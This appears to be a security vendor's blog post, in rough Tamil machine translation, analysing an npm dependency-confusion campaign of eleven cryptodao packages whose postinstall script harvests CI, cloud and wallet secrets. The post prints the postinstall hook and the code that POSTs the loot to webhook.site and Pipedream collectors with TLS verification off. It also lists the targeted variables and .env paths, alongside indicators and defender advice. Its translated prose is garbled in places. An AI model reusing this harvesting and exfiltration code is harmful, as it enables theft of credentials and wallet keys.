CryptoDAO குழப்பம்: npm தொகுப்புகளைச் சேகரித்தல் CI/CD மற்றும் கிரிப்டோ ரகசியங்கள்

CryptoDAO குழப்பம்: பதினொரு npm தொகுப்புகள், ஒரு பேலோட், ஹார்வெஸ்டிங் CI/CD மற்றும் கிரிப்டோ-வாலட் ரகசியங்கள்

பொருளடக்கம்

கட்டாயம் படிக்க வேண்டிய பதிவுகள்

சமீபத்திய சுவாரஸ்யமான பதிவு

டிஎல்; DR

2026-06-17 அன்று, ஒரு npm கணக்கு வெளியிட்டது ஒரே நோக்கத்தையும் ஒரே உள்ளடக்கத்தையும் கொண்ட பதினொரு தொகுப்புகள்அவர்களில் பத்து பேர் சுமந்து செல்கிறார்கள் cryptodao- முன்னொட்டு (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -typesபதினொன்றாவது வரையறுக்கப்பட்டது @public-for-cdao/coreஅனைத்தும் பதிப்பில் வெளியிடப்பட்டது 99.99.99 மற்றும் ஒரு பைட்-ஒரே மாதிரியானதை அனுப்புகிறது recon.js அது இயங்குகிறது postinstall.

பெயர்களே உண்மையை உணர்த்துகின்றன. அவை, ஒரு கிரிப்டோ/DAO திட்டத்தின் தனிப்பட்ட கருவித் தொடரின் உள்ளகக் கட்டுமானக் கூறுகளைப் போலத் தோன்றுகின்றன. பொது npm ரெஜிஸ்ட்ரியில் செயற்கையாக உயர்த்தப்பட்ட பதிப்பில் வெளியிடப்பட்டு, அவை ஒரு பில்டுக்காகக் காத்திருக்கின்றன. pipeline அந்தப் பெயர்களைத் தீர்க்கும்படி கட்டமைக்கப்பட்டு, பிரைவேட் ரெஜிஸ்ட்ரிக்கு முன்பாகவோ அல்லது அதற்குப் பதிலாகவோ பப்ளிக் npm-ஐ அடையும். இது சார்பு குழப்பம்மேலும், அந்தச் சுமையானது அது தரையிறங்க எதிர்பார்க்கும் இடத்திற்குத் துல்லியமாக ஏற்றவாறு சரிசெய்யப்பட்டுள்ளது: CI/CD இரண்டாம்.

எப்பொழுது postinstall தீ, recon.js ஹோஸ்ட் விவரங்களைச் சேகரித்து, தோராயமாக ஆய்வு செய்கிறது நாற்பது கிளவுட், சிஐ மற்றும் கிரிப்டோ-வாலட் சூழல் மாறிகள், எதையும் படிக்கிறது .env அது கண்டறியக்கூடிய கோப்புகளில் உள்ள இரகசியம் அடங்கிய வரிகளை அப்படியே அனுப்பி, பின்னர் அந்தத் தொகுப்பை இரண்டு சேகரிப்பாளர்களுக்கு அனுப்புகிறது. webhook.site மற்றும் TLS சான்றிதழ் சரிபார்ப்பு முடக்கப்பட்ட ஒரு Pipedream எண்ட்பாயிண்ட். இதன் ஒரு நகலும் கீழ் எழுதப்பட்டுள்ளது. /tmp.

தீவிரம்: உயர்பாதிக்கப்பட்ட சுற்றுச்சூழல் அமைப்பு: NPMஇதை எழுதும் நேரத்தில் பதினொரு தொகுப்புகளும் செயல்பாட்டில் இருந்தன.

தாக்குதல் உடற்கூறியல்

இந்த இயந்திர அமைப்பில் நான்கு அசையும் பாகங்கள் உள்ளன, மேலும் அவற்றைப் பற்றித் தெரிந்துகொண்டால், அவற்றில் எதுவுமே நுட்பமானதாக இருக்காது. தொகுப்புப் பெயருக்கு அடுத்த படியில் பாருங்கள்.

1. ரிசால்வரை ஈர்க்கும் ஒரு காரணியாக பதிப்பு அதிகரிப்பு. ஒவ்வொரு தொகுப்பும் பதிப்பை அறிவிக்கிறது. 99.99.99ஒரு தொகுப்பு மேலாளரிடம் கேட்கப்படும்போது சார்பு குழப்பம் ஏற்படுகிறது. உள்ளகப் பெயர், மேலும் பொதுப் பதிவகத்தைச் சரிபார்த்து, அதிலுள்ள மிக உயர்ந்த பதிப்பைத் தேர்ந்தெடுக்கிறது. கண்டறிகிறது. கேரட் அல்லது வைல்டுகார்டு வரம்பிற்கான npm-இன் இயல்புநிலைத் தேர்வு என்பது கட்டமைக்கப்பட்ட ஒவ்வொரு மூலத்திலும் மிகவும் திருப்திகரமான பதிப்பு; இரண்டும் தனிப்பட்டதாக இருந்தால் ரெஜிஸ்ட்ரி மற்றும் பப்ளிக் என்.பி.எம் ஒரே பெயருக்குப் பதிலளிக்கும்போது, ​​பெரிய பதிப்பு எண்ணே முன்னுரிமை பெறும். A 99.99.99 அடிப்படையில் ஒரு திட்டத்தில் இருக்கும் எந்தவொரு உண்மையான உள் பதிப்பையும் விட இது உயர்ந்த இடத்தில் உள்ளது. அடையப்பட்டது, எனவே தனிப்பட்ட மூலத்துடன் பிணைக்கப்படாத ஒரு ரிசால்வர் விரும்புகிறது பொதுவான — மற்றும் இந்த விஷயத்தில், தீங்கிழைக்கும் — நகல். இயக்குபவர் இதைத் தெரிந்து கொள்ள வேண்டிய அவசியமில்லை. இலக்கின் உண்மையான பதிப்பு எண்கள்; ஒரு அபத்தமான அதிகபட்சத்தைத் தேர்ந்தெடுப்பது எப்போதும் சமநிலையை உறுதி செய்கிறது. அவர்களின் வழியை உடைக்கிறது.

2. நிறுவிய பின் தூண்டப்படும் காரணி. தொகுப்பு.ஜேசன் பேலோடை நிறுவலுடன் இணைக்கிறது வாழ்க்கை சுழற்சி:

{   "scripts": { "postinstall": "node recon.js" } }

தொகுப்பை இறக்குமதி செய்ய வேண்டிய அவசியமில்லை. அதை நிறுவுவது மட்டுமே — ஒரு CI pipeline தானாகவே செய்கிறது — இயங்குகிறது recon.js.

3. ஒரு பரந்த இரகசியத் தேடுதல் வேட்டை. recon.js முடிவுகளின் வரிசையைப் பல்வேறு கட்டங்களில் தொகுக்கிறது:

  • ஹோஸ்ட் சூழல்: ஹோஸ்ட்பெயர், தளம் மற்றும் வெளியீடு, கட்டமைப்பு, பயனர்பெயர், செயல்படும் அடைவு.
  • சூழல் மாறிகள்: இது சுமார் நாற்பது பெயர்கள் மற்றும் பதிவுகளைக் கொண்ட ஒரு நிலையான பட்டியலைச் சுழற்சி செய்கிறது. அமைக்கப்பட்டவை ஏதேனும். இந்தப் பட்டியல் பல உண்மைகளை வெளிப்படுத்துகிறது — இது பொதுவான CI டோக்கன்களை இணைக்கிறது. (சிஐ_வேலை_டோக்கன், CI_பதிவேடு_கடவுச்சொல், GITLAB_ACCESS_TOKEN) மற்றும் கிளவுட் சான்றுகள் (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) பதிவகம் மற்றும் கொள்கலன் இரகசியங்களுடன்NPM_TOKEN, டாக்கர் கடவுச்சொல், துறைமுகக் கடவுச்சொல்மற்றும் ஒரு தனித்துவமான கிரிப்டோ-சுவை கொண்ட கிளஸ்டர்:  தனிப்பட்ட சாவி, நினைவூட்டல், விதை_சொற்றொடர், INFURA_API_KEY, ரசாயன_API_திறவுகோல், ETH_RPC, BSC_RPCபதிவுசெய்யப்பட்ட மதிப்புகள் முதல் 50 எழுத்துகளுக்குச் சுருக்கப்படுகின்றன.
  • .env கோப்புகள்: இது பாதைகளின் பட்டியலை ஆராய்கிறது — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, மற்றும் இந்த .உற்பத்தி/வளர்ச்சி வகைகள் — மற்றும் இருக்கும் எந்தவொரு கோப்பிற்கும், அது பொருந்தும் வரிகளுக்கு உள்ளடக்கங்களை வடிகட்டுகிறது திறவுகோல்|இரகசியம்|டோக்கன்|கடவுச்சொல்|தனிப்பட்ட|நினைவூட்டி மேலும் அந்த வரிகளை முழுமையாகவும், துண்டிக்கப்படாமலும் முடிவுகளில் சேர்க்கிறது.
  • பில்ட்-ஹோஸ்ட் சூழல்: இது முதல் 20 உள்ளீடுகளைப் பட்டியலிடுகிறது /கட்டமைப்புகள்/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, மற்றும் இதனுள் / tmp /.

பாதை பட்டியல் மற்றும் மாறி பட்டியல் ஆகியவை GitLab ரன்னர்களுக்கு அதிக முக்கியத்துவம் அளிக்கின்றன, இது சுட்டிக்காட்டுகிறது இந்தச் சுமை ஒரு டெவலப்பரை விட, சுயமாக ஹோஸ்ட் செய்யப்பட்ட CI உள்கட்டமைப்பின் மீதே நேரடியாகச் சுமத்தப்படுகிறது. மடிக்கணினி. அறுவடைப் பட்டியலை வகை வாரியாகக் குழுவாக்குவது, அறுவடை செய்ய உத்தேசித்துள்ளதைத் தெளிவாகக் காட்டுகிறது:

பகுப்பு மாறிகள் / சென்றடையும் பாதைகள்
CI/CD அடையாளம் மற்றும் வரிசைப்படுத்தல் CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
கிளவுட் AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
பதிவகம் மற்றும் கொள்கலன் NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
தரவு சேமிப்பகங்கள் DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
கிரிப்டோ / பிளாக்செயின் PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
செய்தி SLACK_TOKEN, DISCORD_TOKEN
வட்டில் .env குடும்பம் + /home/gitlab-runner/.env, /root/.env, /app/**/.envகோப்பகப் பட்டியல்கள் /builds/, /var/lib/gitlab-runner/

கிரிப்டோ கிளஸ்டர் என்பது, இதை ஒரு பொதுவான சிஐ-சீக்ரெட்டிலிருந்து வேறுபடுத்திக் காட்டும் பகுதியாகும். ஸ்வீப்: வாலட் சீட் சொற்றொடர்கள் மற்றும் கையொப்பமிடும் சாவிகள் ஒரு சூழலில் மட்டுமே தோன்றும் பிளாக்செயின் திட்டம், மேலும் அவை நேரடியாகப் பொருந்துகின்றன கிரிப்டோடாவோ-/அடையாளம்/ஒப்பந்தங்கள் கேரியர்களின் பெயரிடல்.

4. சரிபார்ப்பு முடக்கப்பட்ட நிலையில் இரட்டைத் தரவு கசிவு. சேகரிக்கப்பட்ட அணி என்பது வரிசைப்படுத்தப்பட்டு இரண்டு இடங்களுக்கு POST செய்யப்பட்டது:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

அங்கீகரிக்கப்படாததை நிராகரி: தவறு வெளிச்செல்லும் தரவுகளுக்கான TLS சான்றிதழ் சரிபார்ப்புகளை முடக்குகிறது. அழைப்புகள். அதே தரவு stdout-இல் அச்சிடப்படுகிறது (எனவே அது CI பணிப் பதிவுகளிலும் சேர்கிறது) மற்றும் எழுதப்பட்டது /tmp/.npm_recon_ .jsonபிழைகள் சத்தமின்றி மறைக்கப்படுகின்றன, அதனால் அனுப்பத் தவறியது, நிறுவல் வெளியீட்டில் ஒரே ஒரு குறிப்பைத் தவிர வேறு எந்தத் தடயத்தையும் விட்டுச்செல்வதில்லை. [உளவு] நிறுவப்பட்டது வரி.

கோப்பில் உள்ள ஒரு முதன்மைக் குறிப்பு அதனை “சார்புநிலைக் குழப்பம்” என்று விவரிக்கிறது. உளவுப் பேலோட்.” சுற்றுச்சூழல் மதிப்புகள் 50 எழுத்துகளாகச் சுருக்கப்பட்டிருப்பது ஒரு கருத்தாக்கச் சான்றின் வடிவம். வெறும் இருப்பைக் காட்டும் வழிகாட்டியாக மட்டும் இல்லாமல், அதை அடுத்த கட்டத்திற்கு நகர்த்துவது என்னவென்றால்... .env கையாளுதல்: இரகசியம் அடங்கிய வரிகள் முழுமையாக அனுப்பப்படுகின்றன, மற்றும் இலக்குகள் வெறும் எண்ணிக்கையை மட்டும் காட்டும் ஒரு உறிஞ்சியாக இல்லாமல், தாக்குபவரால் கட்டுப்படுத்தப்படும் இரண்டு செயல்படும் சேகரிப்பான்கள் உள்ளன. வெற்றி.

காலக்கெடு

பப்ளிஷ் பேட்டர்ன் என்பது பதினொன்றின் அடையாளம் அல்ல, மாறாக ஒற்றை ஸ்கிரிப்ட் செய்யப்பட்ட புஷ்ஷின் அடையாளம் ஆகும். சுயாதீன பதிவேற்றங்கள்.

நேரம் (UTC, 2026-06-17) நிகழ்வு
03:24:58 cryptodao-bot@99.99.99 வெளியிடப்பட்ட
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — வரையறுக்கப்பட்ட வடிவம், சுமார் 24 நிமிடங்கள் கழித்து

29 வினாடி நேர இடைவெளியில் பத்து பொதிகள் அனுப்பப்பட்டன, அதாவது தோராயமாக ஒவ்வொரு மூன்று வினாடிக்கும் ஒன்று. நோக்கமிடப்பட்ட @public-for-cdao/core சுமார் 24 நிமிடங்களுக்குப் பிறகு — இரண்டாவது பயன்படுத்தும் திட்டம் குறிப்பிடும் பட்சத்தில், அதே இலக்கிற்கான பெயரிடும் மரபு. வெறும் பெயர்களாக இல்லாமல், ஒரு வரையறைக்குள் உள்ளகக் கருவித் தொடர்.

சமரசத்தின் குறிகாட்டிகள்

வகை காட்டி
கலெக்டர் hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
கலெக்டர் hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ஹூக்கை நிறுவவும் postinstall: node recon.js
கைவிடப்பட்ட கோப்பு /tmp/.npm_recon_<timestamp>.json
பதிவு குறிப்பான் [recon] <pkg>@<ver> installed on <hostname> (CI பதிவுகளில் உள்ள stdout)
நடத்தை rejectUnauthorized: false நிறுவலின் போது வெளிச்செல்லும் HTTPS இல்
பேலோடில் recon.jsபதினொன்று தொகுப்புகளிலும் ஒரே மாதிரியாக இருக்கும் (ஒரு பகிரப்பட்ட கட்டமைப்பு).
பதிப்பு 99.99.99 ஒவ்வொரு தொகுப்பிலும்
தொகுப்புகள் cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (அனைத்து 99.99.99)
வெளியீட்டாளர் aduljune / aduljune@proton.me (மின்னஞ்சல் சரிபார்க்கப்படவில்லை, இணைக்கப்பட்ட மூலக் களஞ்சியம் இல்லை)

 காரணம் மற்றும் கவனிக்கப்பட்ட நடத்தை

அந்தத் தொகுப்பைப் பற்றிய அனைத்தும் ஒரே ஒரு விஷயத்தையே சுட்டிக்காட்டுகின்றன. பதினொரு தொகுப்புகளும் வெளியிடப்பட்டன. npm கணக்கு மூலம் அடல்ஜூன் (aduljune@proton.meசரிபார்க்கப்படாத முகவரி, எதுவும் இல்லை இணைக்கப்பட்ட மூலக் களஞ்சியம்), 25 நிமிட நேர இடைவெளிக்குள், அதே நேரத்தில் 99.99.99 பதிப்பு, கப்பல் போக்குவரத்து recon.js அதன் உள்ளடக்கங்கள் ஒவ்வொரு இடத்திலும் பைட்டுக்கு பைட் ஒரே மாதிரியாக இருக்கும் தொகுப்பு (பிரித்தெடுக்கப்பட்ட பதினொரு நகல்களிலும் MD5 பொருந்துகிறது). அது ஒரு பேலோட் ஆகும். பெயர்ப் பட்டியலில் முத்திரையிடப்பட்டது, சுயாதீனமான குறியீடு மறுபயன்பாடு அல்ல.

பெயர்ப் பட்டியல், நோக்கம் கொண்ட இலக்கை வரையறுக்கிறது. கிரிப்டோடாவோ-* மற்றும் cdao விவரிக்கவும் ஒரு கிரிப்டோ/DAO திட்டத்தின் தனிப்பட்ட தொகுதி அமைப்பு மற்றும் பேலோடின் அறுவடைப் பட்டியல் அந்த யூகத்தைப் பிரதிபலிக்கிறது: பொதுவான CI மற்றும் கிளவுட் இரகசியங்களுடன், இது குறிப்பாக அடையும் தனிப்பட்ட சாவி, நினைவூட்டல், விதை_சொற்றொடர்மற்றும் Ethereum/BSC RPC மற்றும் வழங்குநர் சாவிகள். .env தேடல் பாதைகள் மற்றும் கோப்பகப் பட்டியல்கள் GitLab-runner ஆகும். குறிப்பிட்டது. காணக்கூடிய விளைவு என்னவென்றால், எந்தவொரு pipeline இவற்றை நிறுவுமாறு ஏமாற்றப்பட்டேன் பெயர்கள் அதன் CI டோக்கன்கள், கிளவுட் கீகள் மற்றும் வட்டில் உள்ளவற்றை முன்னோக்கி அனுப்பும். .env ரகசியங்கள் — மற்றும், அதற்காக ஒரு பிளாக்செயின் திட்டம், அதன் வாலட் உள்ளடக்கம் — இரண்டு மூன்றாம் தரப்பு சேகரிப்பாளர்களுக்குச் சென்றது.

இந்தக் கணக்கை யார் இயக்குகிறார்கள் என்றோ அல்லது அதை வைத்து அவர்கள் என்ன செய்யத் திட்டமிட்டார்கள் என்றோ நாங்கள் எந்தக் கோரிக்கையையும் முன்வைக்கவில்லை. தரவு. தன்னிச்சையாக நிற்கும் உண்மைகள்: பெயர்கள் ஒரு குறிப்பிட்ட வகையை இலக்காகக் கொண்டுள்ளன. உள் கருவித் தொடரில், பேலோட் உண்மையான இரகசிய மதிப்புகளைப் படித்து அனுப்புகிறது, மற்றும் உள்கட்டமைப்பு இயங்கிக்கொண்டிருந்தது.

தாக்கம், போக்குகள் மற்றும் பாதுகாவலர் வழிகாட்டுதல்

சார்பு குழப்பம் இது ரிசால்வரின் நடத்தையைப் பயன்படுத்துவதால் பயனுள்ளதாக இருக்கிறது, ஒரு எந்தவொரு தொகுப்பிலும் உள்ள பாதிப்பு. இங்குள்ள கேரியர் அற்பமானது — பதினொன்று கிட்டத்தட்ட காலியானவை தொகுப்புகள் — ஆனால் வெடிப்பின் ஆரம் எப்படி வேண்டுமானாலும் இருக்கலாம். pipeline தவறுதலாக பொது npm-ஐ விரும்புகிறது ஒரு உள் பெயருக்காக. CI ரன்னர்கள் அப்படி நடப்பதற்கு மிகவும் மோசமான இடம்: அவை வைத்திருக்கின்றன. சரியாக டோக்கன்கள் மற்றும் .env இந்த பேலோட் படிக்கும் கோப்புகள், மற்றும் அவை நிறுவுகின்றன சார்புகளை ஊடாடாமல், அதனால் ஒரு நிறுவிய பின் யாரும் பார்க்காதபோது ஓடுகிறார்.

இந்தக் குழுமமும் நாம் தொடர்ந்து காணும் ஒரு வடிவத்திற்குப் பொருந்துகிறது: நிறுவலின் போது வழங்கப்படும் தரவுப் பொதிகள். உண்மையான சான்றுகளைச் சேகரிக்கும்போதே, அதை “ஆராய்ச்சி” அல்லது “உளவு” என்று குறிப்பிடுவது. அந்த முத்திரை கோப்பில் உள்ள மாற்றம், ரன்னரில் குறியீடு செய்யும் செயலை மாற்றுவதில்லை. இரண்டு வடிவமைப்புத் தேர்வுகள்... செயல்பாடு அமைதியாக உள்ளது: ஒவ்வொரு பிணைய மற்றும் கோப்பு முறைமைச் செயல்பாடும் ஒரு உள்ளடக்கத்தில் பொதியப்பட்டுள்ளது. அனுப்புவதில் தடை அல்லது கோப்பு காணாமல் போதல் போன்ற பிழைகளை நிராகரிக்கும் விதிவிலக்கு கையாளி. இது எந்தவொரு கண்டறியும் வெளியீட்டையும் உருவாக்கவில்லை, மேலும் அச்சிடப்படும் ஒரே விஷயம் ஒரு பாதிப்பில்லாத ஒற்றைச் செய்தி மட்டுமே. [உளவு] … நிறுவப்பட்டது சாதாரண நிறுவல் உரையாடலுடன் கலக்கும் ஒரு வரி. இதன் பயன்பாடு வெப்ஹூக்.தளம் மேலும், பைப்டிரீம் என்பதும் ஒரு திட்டமிட்ட வசதியே — இரண்டுமே இலவசம். கோரிக்கை-பெறும் சேவைகள் உடனடியாக வழங்கப்படுவதால், இயக்குபவருக்கு வேறு சேவையகங்கள் தேவையில்லை. அவை தங்களுக்கென சொந்தமானவை, மேலும் வெளியேறும் பதிவுகளில் உள்ள இலக்குகள் சாதாரண SaaS ஹோஸ்ட்பெயர்களைப் போலவே தோற்றமளிக்கின்றன.

பொருளாதாரக் காரணிகளே ஒரு தடுப்பாட்டக்காரரின் கவனத்திற்குரியதாக இதை ஆக்குகின்றன. கேரியர் குறியீடு மிக எளிமையானது. பதினொரு பெயர்களைப் பதிவு செய்வதற்கு எந்தச் செலவும் இல்லை, பேலோட் ஒன்றுதான். கோப்பு பதினொரு முறை நகலெடுக்கப்பட்டது, மேலும் தொகுப்பு மேலாளர் அனைத்து செயல்பாடுகளையும் செய்கிறது. ஒரு தனி தவறாக உள்ளமைக்கப்பட்டது pipeline இந்தப் பெயர்களில் ஒன்றைப் பயன்படுத்தும் எந்த இடமும் முழுமைக்கும் பணம் செலுத்துகிறது. அறுவை சிகிச்சை.

பாதுகாவலர்களுக்கான உறுதியான நடவடிக்கைகள்:

  • உள் வரம்புகளை உங்கள் தனிப்பட்ட பதிவகத்தில் நிலைநிறுத்துங்கள். npm-ஐ உள்ளமைக்கவும், அதனால் உள் பெயர்கள்
     மற்றும் ஸ்கோப்புகள் உங்கள் ரெஜிஸ்ட்ரிக்கு எதிராக மட்டுமே தீர்க்கப்படுகின்றன (ஸ்கோப் செய்யப்பட்ட .npmrc ரெஜிஸ்ட்ரி மேப்பிங்குகள்,
    (அல்லது சொந்தமான நேம்ஸ்பேஸ்களுக்காக, பொது npm-க்கு ஒருபோதும் செல்லாத ஒரு ப்ராக்ஸி). உங்கள் பொது ஸ்கோப் பெயர்களை ஒதுக்கி வையுங்கள், அதனால் வேறு யாரும் அவற்றைப் பதிவு செய்ய முடியாது.
  • Commit lockfiles மற்றும் –ignore-scripts உடன் நிறுவவும் CI இல் சாத்தியமான இடங்களில், அல்லது நிறுவல் ஸ்கிரிப்டுகள் உண்மையிலேயே தேவைப்படும் ஒரு சில சார்புநிலைகளைச் சரிபார்க்கவும்.  recon.js இயங்க முடியாது எனில் நிறுவிய பின் செயல்படுத்தப்படவில்லை.
  • உள் தோற்றமுடைய பெயரின் 99.99.99 (அல்லது மற்ற மிக உயர்ந்த) பதிப்பைக் கையாளவும் ஒரு சிவப்பு எச்சரிக்கையாக சார்பு மதிப்பாய்வு மற்றும் பதிவகக் கண்காணிப்பில்.
  • நிறுவலின் போது வெளியேறுவது குறித்த எச்சரிக்கை. A நிறுவிய பின் அது ஒரு வெளிச்செல்லும் HTTPS ஐத் திறக்கிறது இணைப்பு — குறிப்பாக சான்றிதழ் சரிபார்ப்பு முடக்கப்பட்டிருக்கும்போது — webhook.site, Pipedream, அல்லது அதுபோன்ற கோரிக்கை-பிடிப்பு சேவைகளை நெட்வொர்க்கின் விளிம்பில் தடுப்பதும், பில்ட் பதிவுகளில் அதைக் கொடியிடுவதும் பயனுள்ளதாக இருக்கும்.
  • கலைப்பொருட்களைத் தேடுங்கள். ஓட்டப்பந்தய வீரர்களைச் சரிபார்க்கவும் /tmp/.npm_recon_*.json மற்றும் [ஆய்வு] … சமீபத்திய CI பதிவுகளில் … குறியீட்டில் நிறுவப்பட்டுள்ளது. கண்டறியப்பட்டால், ஒவ்வொரு சுழற்சியையும் செய்யவும். அதற்கு வெளிப்படுத்தப்பட்ட சான்று pipeline — CI டோக்கன்கள், கிளவுட் கீகள், ரெஜிஸ்ட்ரி டோக்கன்கள், மற்றும் என்விரான்மென்ட் அல்லது .env கோப்புகளில் உள்ள ஏதேனும் வாலட் சீட்கள் அல்லது பிரைவேட் கீகள்.

குறிப்புகள்

இதை எழுதும் நேரத்தில் இந்தக் குழுமம் குறித்து எந்த வெளி அறிக்கையும் இருக்கவில்லை; பகுப்பாய்வு மேற்கண்டவை வெளியிடப்பட்ட தொகுப்பின் உள்ளடக்கங்களை நேரடியாக அடிப்படையாகக் கொண்டவை.

sca-tools-software-composition-analysis-tools
உங்கள் மென்பொருள் அபாயங்களுக்கு முன்னுரிமை அளித்து, சரிசெய்து, பாதுகாக்கவும்.
உங்கள் இலவச கணக்கைப் பெறுங்கள்.
கடன் அட்டை தேவையில்லை.

உங்கள் மென்பொருள் உருவாக்கம் மற்றும் விநியோகத்தைப் பாதுகாக்கவும்

Xygeni தயாரிப்பு தொகுப்புடன்